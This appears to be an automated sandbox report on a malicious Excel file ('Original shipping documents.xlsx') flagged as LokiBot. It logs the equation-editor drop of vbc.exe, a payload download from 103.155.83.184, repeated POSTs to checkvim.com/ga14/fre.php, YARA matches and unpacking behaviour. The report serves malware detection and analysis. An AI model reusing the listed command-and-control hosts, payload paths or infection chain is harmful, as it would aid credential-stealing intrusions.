Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.155.83.184

Source: vbc.exe	String found in binary or memory: http://checkvim.com/ga14/fre.php
Source: vbc.exe, 00000004.00000002.664629094.0000000002700000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.664629094.0000000002700000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: 89D14D5A.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0
Source: vbc.exe, vbc.exe, 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/

Source: unknown

HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 176Connection: close

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\89D14D5A.emf

Jump to behavior

Source: unknown

DNS traffic detected: queries for: checkvim.com

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404ED4 recv,

Source: global traffic

HTTP traffic detected: GET /wdc/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.155.83.184Connection: Keep-Alive

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.3.vbc.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 4.3.vbc.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.220e50.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 4.2.vbc.exe.220e50.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.3.vbc.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 4.3.vbc.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.3.vbc.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.220e50.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 4.2.vbc.exe.220e50.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.2.vbc.exe.220e50.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040549C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004029D4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00222C24
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002256EC

Source: C:\Users\Public\vbc.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Users\Public\vbc.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write

Source: vbc[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vbc.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Original shipping documents.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD190.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@4/15@142/2

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:	Binary string: 5}NC:\yasacogirig_reyeg56\zajotowuyavi\yezufemeloya.pdb source: vbc.exe, 00000004.00000000.448184731.0000000000418000.00000002.00020000.sdmp, vbc.exe.2.dr
Source:	Binary string: C:\yasacogirig_reyeg56\zajotowuyavi\yezufemeloya.pdb source: vbc.exe, 00000004.00000000.448184731.0000000000418000.00000002.00020000.sdmp, vbc.exe.2.dr

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.x:W;

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vbc.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.220e50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1268, type: MEMORYSTR

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00402AC0 push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00402AC0 push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00222D10 push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00222D10 push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0092E4B7 push edi; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0092E911 push E83768D8h; retf
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0092DABF push ebp; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0092AEFB push eax; ret
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0092B7BA push es; ret

Source: initial sample	Static PE information: section name: .text entropy: 7.74250778335
Source: initial sample	Static PE information: section name: .text entropy: 7.74250778335

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
